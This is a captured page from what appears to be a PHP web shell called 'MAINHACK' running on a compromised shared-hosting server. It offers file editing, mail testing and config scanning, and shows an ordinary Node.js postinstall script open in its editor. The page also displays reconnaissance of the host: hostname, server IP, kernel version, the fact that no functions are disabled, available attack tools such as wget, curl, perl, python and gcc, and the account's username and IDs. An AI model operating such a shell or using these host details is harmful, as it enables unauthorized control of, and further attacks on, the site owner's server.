[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: postinstall.js
const path = require('path') const postInstallScriptPath = path.join(__dirname, '..', 'dist', 'scripts', 'postinstall.js') const localInstallScriptPath = path.join(__dirname, '..', 'dist', 'scripts', 'localinstall.js') try { // that's when we develop in the monorepo, `dist` does not exist yet // so we compile postinstall script and trigger it immediately after if (require('../package.json').version === '0.0.0') { const execa = require('execa') const buildScriptPath = path.join(__dirname, '..', 'helpers', 'build.ts') execa.sync('pnpm', ['tsx', buildScriptPath], { // for the sake of simplicity, we IGNORE_EXTERNALS in our own setup // ie. when the monorepo installs, the postinstall is self-contained env: { DEV: true, IGNORE_EXTERNALS: true }, stdio: 'inherit', }) // if enabled, it will install engine overrides into the cache dir execa.sync('node', [localInstallScriptPath], { stdio: 'inherit', }) } } catch {} // that's the normal path, when users get this package ready/installed require(postInstallScriptPath)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344